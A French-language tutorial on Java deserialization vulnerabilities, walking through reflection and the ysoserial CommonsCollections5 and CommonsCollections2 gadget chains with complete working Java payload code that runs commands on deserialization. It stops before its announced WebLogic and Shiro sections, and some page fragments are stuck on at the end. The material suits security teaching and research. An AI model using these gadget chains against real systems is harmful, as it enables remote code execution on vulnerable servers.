Partage de techniques de désérialisation Java

Ce partage aborde les points suivants :

Fondamentaux de la sérialisation et de la désérialisation Java
Pourquoi des vulnérabilités apparaissent-elles lors de la désérialisation ?
Réflexion Java
ysoserial CommonsCollections2、CommonsCollections5
Plusieurs méthodes de chargement de classes avec Java ClassLoader
WebLogic CVE-2020-2555 CVE-2020-2883 RCE
RCE de désérialisation causé par le codage en dur de rememberMe dans Shiro-550
WebLogic + Shiro : enregistrement en un clic d'un filter memory shell via désérialisation

Fondamentaux de la sérialisation et de la désérialisation Java

La sérialisation Java est le processus de conversion d'un objet Java en une séquence d'octets, facilitant ainsi son stockage en mémoire, dans un fichier ou dans une base de données. La méthode writeObject() de la classe ObjectOutputStream permet d'effectuer la sérialisation, c'est-à-dire de convertir un objet Java en séquence d'octets.

La désérialisation Java est le processus de restauration d'une séquence d'octets en un objet Java. La méthode readObject() de la classe ObjectInputStream est utilisée pour la désérialisation.

Prenons un exemple simple, voir le code SerializeAndDeserialize ps : portez une attention particulière au transtypage forcé dans le code```java package org.chabug.demo;

import org.chabug.entity.Dog; import org.chabug.entity.Person; import org.chabug.util.Serializables;

/* 这个例子是为了证明只要实现了Serializable接口的类都可以被序列化并且Java内置的几大数据类型也可被序列化，因为他们都继承了Object类 */

public class SerializeAndDeserialize {

public static void main(String[] args) throws Exception {
    byte[] bytes;
    String s1 = "I'm a String Object....";
    bytes = Serializables.serializeToBytes(s1);
    Object o1 = Serializables.deserializeFromBytes(bytes);
    System.out.println(o1);

    String[] s2 = new String[]{"tom", "bob", "jack"};
    bytes = Serializables.serializeToBytes(s2);
    String[] o2 = (String[])Serializables.deserializeFromBytes(bytes);
    System.out.println(o2);

    int i = 123;
    bytes = Serializables.serializeToBytes(i);
    int o3 = (Integer) Serializables.deserializeFromBytes(bytes);
    System.out.println(o3);

    // 一只名叫woody的狗
    Dog dog = new Dog();
    dog.setName("woody");

    // tom
    Person tom = new Person();
    tom.setAge(14);
    tom.setName("tom");
    tom.setSex("男");
    tom.setDog(dog);

    bytes = Serializables.serializeToBytes(tom);
    Person o = (Person) Serializables.deserializeFromBytes(bytes);
    System.out.println(o);

}

}

Les types de données intégrés à Java tels que String, Integer, les tableaux, les objets Object, etc. peuvent tous être sérialisés. Nos propres classes Person et Dog peuvent être sérialisées et désérialisées dès lors qu'elles implémentent l'interface Serializable.



## Pourquoi des vulnérabilités apparaissent-elles lors de la désérialisation ?

Regardons un morceau de code : il existe maintenant une classe d'entité malveillante EvilClass```java
package org.chabug.entity;

import java.io.ObjectInputStream;
import java.io.Serializable;

public class EvilClass implements Serializable {
    String name;

    public EvilClass() {
        System.out.println(this.getClass() + "的EvilClass()构造方法被调用!!!!!!");
    }

    public EvilClass(String name) {
        System.out.println(this.getClass() + "的EvilClass(String name)构造方法被调用!!!!!!");
        this.name = name;
    }

    public String getName() {
        System.out.println(this.getClass() + "的getName被调用!!!!!!");
        return name;
    }

    public void setName(String name) {
        System.out.println(this.getClass() + "的setName被调用!!!!!!");
        this.name = name;
    }

    @Override
    public String toString() {
        System.out.println(this.getClass() + "的toString()被调用!!!!!!");
        return "EvilClass{" +
                "name='" + getName() + '\'' +
                '}';
    }

    private void readObject(ObjectInputStream in) throws Exception {
        //执行默认的readObject()方法
        in.defaultReadObject();
        System.out.println(this.getClass() + "readObject()被调用!!!!!!");
        Runtime.getRuntime().exec(new String[]{"cmd", "/c", name});
    }
}

Dans son readObject, il y a du code exécutant des commandes : Runtime.getRuntime().exec(new String[]{"cmd", "/c", name}), le paramètre name étant la commande à exécuter. Nous pouvons donc construire un objet malveillant, affecter à sa propriété name la commande à exécuter, et lorsque la désérialisation déclenche readObject, cela provoque une RCE. Comme suit```java package org.chabug.demo;

import org.chabug.entity.EvilClass; import org.chabug.util.Serializables;

public class EvilSerialize { public static void main(String[] args) throws Exception { EvilClass evilObj = new EvilClass(); evilObj.setName("calc"); byte[] bytes = Serializables.serializeToBytes(evilObj); EvilClass o = (EvilClass) Serializables.deserializeFromBytes(bytes); System.out.println(o); } }

![image-20200822105256120](https://assets.kitploit.com/production/public/readmes/21799/7f07c0c8196e56e1d554bce64f73f069bdd3e589a3302936c831903e5f7e5539.png)

Maintenant que nous savons comment la désérialisation peut mener à une RCE, il faut garder à l'esprit qu'en conditions réelles de développement, on n'écrirait pas directement ce genre de code. C'est pourquoi il s'agit de trouver des chaînes d'exploitation. Une vulnérabilité de désérialisation nécessite trois éléments :

1. Point d'entrée de la désérialisation (source)
2. Méthode cible (sink)
3. Chaîne d'exploitation (gadget chain)

Si l'on observe attentivement la sortie de l'image ci-dessus, on constate que non seulement la méthode `readObject` est déclenchée, mais aussi `toString()`, le constructeur sans argument, les méthodes `set` et `get`. Dans la recherche réelle de chaînes d'exploitation, il ne faut donc pas se limiter à la méthode `readObject()`.



C'est alors que nous devons comprendre la **réflexion**. Plus haut, nous avons évoqué le problème de la **conversion de type forcée**. Dans le développement réel, un traitement logique est effectué dans `readObject` ; lorsque le type de données concret de l'objet reçu est inconnu, la réflexion est utilisée pour déterminer et invoquer la méthode appropriée. La réflexion est précisément un moyen essentiel pour nous d'aboutir à une RCE.

## Réflexion Java

Qu'est-ce que la réflexion ? Le terme « réflexion » contient l'idée de « retour sur soi ». Pour l'expliquer, il faut donc partir de son opposé, l'« appel direct ». Regardons le code. Voici ma classe d'entité :```java
package org.chabug.entity;

import java.io.IOException;

public class ReflectionClass {
    String name;

    public ReflectionClass(String name) {
        this.name = name;
    }

    public ReflectionClass() {
    }

    public String say() {
        return this.name;
    }

    private void evil(String cmd) {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String toString() {
        return "ReflectionClass{" +
                "name='" + name + '\'' +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

Écriture normale```java package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

public class ReflectionDemo { public static void main(String[] args) { ReflectionClass demo = new ReflectionClass(); demo.setName("hello"); System.out.println(demo.say()); // demo.evil("calc"); // 不能够调用private方法 } }

C'est très simple : on crée une instance de `ReflectionClass` via `new`, puis on appelle ses méthodes via l'instance ; c'est ce qu'on appelle l'« invocation directe ». Mais que faire si l'on ne connaît pas le nom de la classe au moment du `new` ? Comment appeler des méthodes protégées par `private` ? C'est là que la réflexion montre tout son intérêt. Regardez le code suivant```java
package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

import java.lang.reflect.Method;

public class ReflectionDemo {
    public static void main(String[] args) throws Exception {
        // new
        Class<?> aClass = Class.forName("org.chabug.entity.ReflectionClass");
        Object o = aClass.newInstance();

        // setName("jack")
        Method setName = aClass.getDeclaredMethod("setName",String.class);
        setName.invoke(o, "jack");

        // say()
        Method say = aClass.getDeclaredMethod("say",null);
        Object o1 = say.invoke(o, null);
        System.out.println(o1);

        // evil("calc")
        // 反射可以修改方法的修饰符来调用private方法
        Method evil = aClass.getDeclaredMethod("evil", String.class);
        evil.setAccessible(true);
        evil.invoke(o,"calc");
    }
}

Il n'est pas nécessaire de connaître le nom de la classe à l'avance ; il suffit de modifier la classe org.chabug.entity.ReflectionClass et de la passer via un paramètre. De plus, on peut utiliser setAccessible pour accéder aux méthodes ou champs protégés en private.

Ensuite, partons de la vulnérabilité pour approfondir le rôle de la réflexion dans la désérialisation, ainsi que la recherche de chaînes d'appel de désérialisation.

ysoserial CommonsCollections2, CommonsCollections5

ysoserial est un outil de génération d'exploits de désérialisation Java, qui intègre plusieurs exploits connus, comme plusieurs chaînes d'exploitation de CommonsCollections. Cette fois, nous allons analyser les chaînes CC2 et CC5. La raison de cette analyse est que CC2 utilise des opérations de définition de bytecode, et CC5 permet d'approfondir la compréhension de la réflexion et des appels en chaîne.

Commençons par la chaîne CC5, plus facile à comprendre.

CommonsCollections5

La vulnérabilité se trouve dans `org.apache.commons.collections.functors.InvokerTransformer#transform````java public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }

En comparant avec le code du chapitre sur la réflexion, on voit que c'est clairement une utilisation de la réflexion. Pour l'expliquer en code direct, ce serait :```java
input.iMethodName(iArgs);

this.iMethodName, this.iParamTypes et this.iArgs sont tous contrôlables dans le constructeur. On peut ainsi appeler n'importe quelle méthode de l'objet input et passer n'importe quel paramètre.```java public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }

Ainsi, commençons par un code d'exécution de commandes.```java
package org.chabug.demo;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

Parce que la classe Runtime est de type singleton, il faut passer par getRuntime() pour obtenir l'objet runtime de Runtime, puis le transmettre à transform() afin de faire apparaître la calculatrice.

Mais nous savons que lors de la désérialisation, seul readObject() est exécuté automatiquement. Si l'on construit directement l'objet InvokerTransformer, il faut encore résoudre deux problèmes :

Exécuter automatiquement Runtime.getRuntime()
Exécuter automatiquement invokerTransformer.transform()

Résolvons d'abord le premier problème : dans org.apache.commons.collections.functors.ChainedTransformer#transform, il est possible d'implémenter un appel en chaîne.```java public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }

this.iTransformers est défini comme un tableau de Transformers```java
private final Transformer[] iTransformers;

Transformer est une interface, et InvokerTransformer implémente également cette interface.

Selon le principe de conversion de type implicite de Java, nous pouvons définir un tableau de Transformer, y placer plusieurs InvokerTransformer pour réaliser plusieurs appels réflexifs et obtenir Runtime.getRuntime().exec().```java package org.chabug.demo;

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 { public static void main(String[] args) throws Exception { // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc"); Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers); chain.transform(null); } }

Ce qui est particulièrement ingénieux, c'est que Runtime.class est passé via le constructeur de la classe ConstantTransformer, ce qui évite d'avoir à passer Runtime nous-mêmes.



Il faut maintenant résoudre le deuxième problème : comment déclencher automatiquement transform() ? On sait que readObject() est exécuté lors de la désérialisation. Alors, quelle classe a un readObject() qui appelle directement ou indirectement transform() ?



C'est dans org.apache.commons.collections.map.LazyMap#get que transform() est appelé.```java
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

Regardez la méthode constructeur de cette classe et le champ factory.```java protected final Transformer factory;

public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }

Le champ `factory` est déclaré `final` et `protected`, mais il possède une méthode publique `decorate()` qui permet de générer des objets de cette classe. On peut donc construire ce qui suit :```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
map.get("test");	//执行这个就会弹出计算器  map.get() > transform()

À ce stade, on cherche où la méthode get() de map est appelée org.apache.commons.collections.keyvalue.TiedMapEntry#getValue```java private final Map map; private final Object key;

public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getKey() { return this.key; } public Object getValue() { return this.map.get(this.key); } public String toString() { return this.getKey() + "=" + this.getValue(); }

getValue() appelle tout simplement map.get(), et nous pouvons également contrôler this.key. De plus, toString() appelle this.getValue(). Continuons maintenant la construction.```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
// map.get("test");
TiedMapEntry key = new TiedMapEntry(map, "key");
key.toString();	// toString > getValue() > map.get()

Alors maintenant, le problème est de savoir comment déclencher automatiquement toString() via readObject. C'est simple : dans les classes intégrées de jdk, il existe une classe d'exception BadAttributeValueExpException dont readObject() exécute toString().```java public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } public String toString() { return "BadAttributeValueException: " + val; }

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);

if (valObj == null) {
    val = null;
} else if (valObj instanceof String) {
    val= valObj;
} else if (System.getSecurityManager() == null
           || valObj instanceof Long
           || valObj instanceof Integer
           || valObj instanceof Float
           || valObj instanceof Double
           || valObj instanceof Byte
           || valObj instanceof Short
           || valObj instanceof Boolean) {
    val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
    val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}

}

Étant donné que System.getSecurityManager() est null par défaut, val = valObj.toString() est déclenché, on entre dans TiedMapEntry.toString(), ce qui aboutit au payload final.```java
package org.chabug.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.chabug.util.Serializables;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
//        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        Transformer[] transformers = new Transformer[]{
                // 传入Runtime类
                new ConstantTransformer(Runtime.class),
                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                // 调用exec("calc")
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);
//        chain.transform(null);
        HashMap hashMap = new HashMap();
        Map map = LazyMap.decorate(hashMap, chain);
//        map.get("asd");
        TiedMapEntry key = new TiedMapEntry(map, "key");
//        key.toString();

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, key);


        byte[] bytes = Serializables.serializeToBytes(badAttributeValueExpException);
        Serializables.deserializeFromBytes(bytes);
    }
}

Il est à noter que lors de la déclaration de l'objet BadAttributeValueExpException, le paramètre entry n'est pas transmis directement, mais est assigné par réflexion. En effet, le constructeur de BadAttributeValueExpException vérifie si la valeur est nulle ; si elle n'est pas nulle, toString() sera exécuté lors de la sérialisation. Ainsi, lors de la désérialisation, comme l'entry transmise est déjà une chaîne, la méthode toString() ne sera pas déclenchée.

小结：utiliser habilement la réflexion combinée aux appels en chaîne, puis trouver un gadget pour réussir une RCE.```java /* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */

### CommonsCollections2

Avant de présenter CC2, il faut d'abord comprendre le bytecode Java. En Java, tout le code Java doit être compilé en fichiers de bytecode class pour être exécuté par la JVM. Le bytecode ressemble davantage à un langage assembleur, très difficile à lire, mais il existe néanmoins de nombreuses excellentes bibliothèques pour manipuler, modifier et éditer le bytecode afin de programmer, comme asm, cglib et javassist. Dans l'outil ysoserial, c'est la bibliothèque javassist qui est utilisée. Regardons d'abord comment le payload cc2 est écrit dans ysoserial.```java
public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

Regardez d'abord Gadgets.createTemplatesImpl(command) dans la première ligne.```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

Puisque la classe org.apache.xalan.xsltc.trax.TemplatesImpl a été mentionnée, il faut d'abord jeter un œil à deux lignes de code.```java
package org.chabug.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;

public class CC2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
        object.newTransformer();
    }
}

Pourquoi la calculatrice s'ouvre-t-elle ? Approfondissons createTemplatesImpl()```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
    command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
    "\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
    classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;

}

Le code ci-dessus fait les choses suivantes :

1. Instancie un objet `org.apache.xalan.xsltc.trax.TemplatesImpl` nommé `templates` ; l'attribut `_bytecodes` de cet objet peut stocker du bytecode.
2. Écrit une classe `StubTransletPayload` qui hérite de `AbstractTranslet` et implémente l'interface `Serializable`.
3. Récupère le bytecode de `StubTransletPayload` et utilise javassist pour insérer le bytecode de `templates` (exécution de commande via Runtime.exec).
4. Définit par réflexion `_bytecodes` de `templates` comme contenant le bytecode d'exécution de commande.

En réalité, il s'agit d'implémenter une sous-classe de `org.apache.xalan.xsltc.trax.TemplatesImpl`, puis d'insérer son propre bytecode malveillant dans le champ `_bytecodes`. Voyons `newTransformer()`.```java
public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                      _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

exécutera getTransletInstance(), suivez-le```java private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null;

    if (_class == null) defineTransletClasses();

    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet)
        _class[_transletIndex].getConstructor().newInstance();
    translet.postInitialization();
    translet.setTemplates(this);
    translet.setOverrideDefaultParser(_overrideDefaultParser);
    translet.setAllowedProtocols(_accessExternalStylesheet);
    if (_auxClasses != null) {
        translet.setAuxiliaryClasses(_auxClasses);
    }

    return translet;
}
catch (InstantiationException | IllegalAccessException |
       NoSuchMethodException | InvocationTargetException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString(), e);
}

}

La ligne suivante va créer une instance à partir de la classe définie par le bytecode, et le bloc static de la classe définie par le bytecode contient Runtime.exec, ce qui conduit à une RCE.```java
AbstractTranslet translet = (AbstractTranslet)            _class[_transletIndex].getConstructor().newInstance();

Alors, il suffit de trouver une classe qui appelle template.newTransformer() dans readObject(). C'est-à-dire la PriorityQueue dans le payload.

PriorityQueue est une file de priorité illimitée fondée sur la priorité. Les éléments de la file de priorité sont triés selon leur ordre naturel, ou selon le Comparator fourni lors de la construction de la file, en fonction du constructeur utilisé.

Examinons son readObject()```java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
    queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();

}

Puisqu'il s'agit d'une file de priorité, un tri existe nécessairement. Dans heapify()```java
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]); // 进行排序
}
private void siftDown(int k, E x) {
    if (comparator != null) 
        siftDownUsingComparator(k, x); // 如果指定比较器就使用
    else
        siftDownComparable(k, x);  // 没指定就使用默认的自然比较器
}
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}
private void siftDownComparable(int k, E x) {
    Comparable<? super E> key = (Comparable<? super E>)x;
    int half = size >>> 1;        // loop while a non-leaf
    while (k < half) {
        int child = (k << 1) + 1; // assume left child is least
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
            c = queue[child = right];
        if (key.compareTo((E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = key;
}

comparator est un comparateur. Lorsque comparator est spécifié, on passe à comparator.compare((E) c, (E) queue[right]). comparator est un objet de l'interface Comparator.```java private final Comparator<? super E> comparator;

En examinant sa hiérarchie d'héritage, on découvre que la classe TransformingComparator du package CC implémente l'interface Comparator.

![image-20200822155342130](https://assets.kitploit.com/production/public/readmes/21799/8efbc6595d2b8d6f314f557bbc3763d8d3d082872989758404641a4e58701b20.png)

La méthode compare() de TransformingComparator```java
public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

Hé, n'est-ce pas exactement l'appel réflexif de méthode arbitraire transform évoqué précédemment ! this.transformer porte la classe InvokerTransformer, et l'appel réflexif du newTransformer() précédent mène directement à un RCE. Construisons le payload.```java public Queue getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;

}

Le point qui peut sembler déroutant devrait être dans `new InvokerTransformer("toString", new Class[0], new Object[0])` : pourquoi utiliser d'abord toString, puis modifier par réflexion en newTransformer ? Parce que si l'on utilise directement newTransformer pour la sérialisation, une erreur sera levée : `The method 'newTransformer' on 'class java.lang.Integer' does not exist`. C'est pourquoi ysoserial utilise d'abord toString pour convertir en chaîne et la comparer au nombre 1, puis modifie par réflexion. C'est très ingénieux.



Résumé :```java
/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

WebLogic-Shiro-shell

Populaires

Dérivation des deux chaînes

BytecodeLoader```java

WebLogic CVE-2020-2555 CVE-2020-2883 RCE

CVE-2020-2555